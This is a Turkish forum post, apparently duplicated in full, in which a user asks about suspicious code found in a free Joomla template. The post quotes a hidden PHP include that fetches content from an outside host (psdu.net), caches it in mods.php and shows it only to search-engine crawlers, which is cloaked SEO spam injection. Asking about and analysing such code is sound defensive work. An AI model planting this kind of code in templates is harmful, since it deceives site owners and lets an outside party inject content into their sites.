gecekule
11-01-2014, 16:07
Merhaba,
joomla için free template ararız ve kullanırız, benim dikkatimi çeken birşey var
Site altında bir link koyuyorlar sildiğinde site açılmıyor bu yüzden kaldırmak zor
diğer benim dikkatımı çeken index.php içinde aşağıdaki kod var
<div id="post" class="col span_<?php echo $compwidth ?> clr">
<div id="comp-wrap">
<?php include "html/template.php"; ?>
<jdoc:include type="message" />
<jdoc:include type="component" />
</div>
</div>
Burada dikkate çeken <?php include "html/template.php"; ?> bu nedir acaba?
template.php içeriği ise aşağıda
<?php
ini_set('display_errors',0);
$path = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$path = str_replace("&", "",$path);
$target = dirname(__FILE__) . DIRECTORY_SEPARATOR . "mods.php";
$source = 'http://psdu.net/me2.php?i='.$path;
$cachetime = 86400;
if ((file_exists($target)) && (time() - $cachetime) > filemtime($target)) {
$string = file_get_contents($source);$result = file_put_contents($target, $string);}
$spiders = array('Googlebot','Yahoo','msnbot','Googlebot-Mobile');
$credits = file_get_contents($target);
$uagent = $_SERVER['HTTP_USER_AGENT'];
foreach ($spiders as $spider){if (preg_match("/$spider/",$uagent)){echo $credits;}}
?>
Bunlar nedir? tehlikesi varmı? ne yapmak lazım?
Teşekkürler
joomla için free template ararız ve kullanırız, benim dikkatimi çeken birşey var
Site altında bir link koyuyorlar sildiğinde site açılmıyor bu yüzden kaldırmak zor
diğer benim dikkatımı çeken index.php içinde aşağıdaki kod var
<div id="post" class="col span_<?php echo $compwidth ?> clr">
<div id="comp-wrap">
<?php include "html/template.php"; ?>
<jdoc:include type="message" />
<jdoc:include type="component" />
</div>
</div>
Burada dikkate çeken <?php include "html/template.php"; ?> bu nedir acaba?
template.php içeriği ise aşağıda
<?php
ini_set('display_errors',0);
$path = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$path = str_replace("&", "",$path);
$target = dirname(__FILE__) . DIRECTORY_SEPARATOR . "mods.php";
$source = 'http://psdu.net/me2.php?i='.$path;
$cachetime = 86400;
if ((file_exists($target)) && (time() - $cachetime) > filemtime($target)) {
$string = file_get_contents($source);$result = file_put_contents($target, $string);}
$spiders = array('Googlebot','Yahoo','msnbot','Googlebot-Mobile');
$credits = file_get_contents($target);
$uagent = $_SERVER['HTTP_USER_AGENT'];
foreach ($spiders as $spider){if (preg_match("/$spider/",$uagent)){echo $credits;}}
?>
Bunlar nedir? tehlikesi varmı? ne yapmak lazım?
Teşekkürler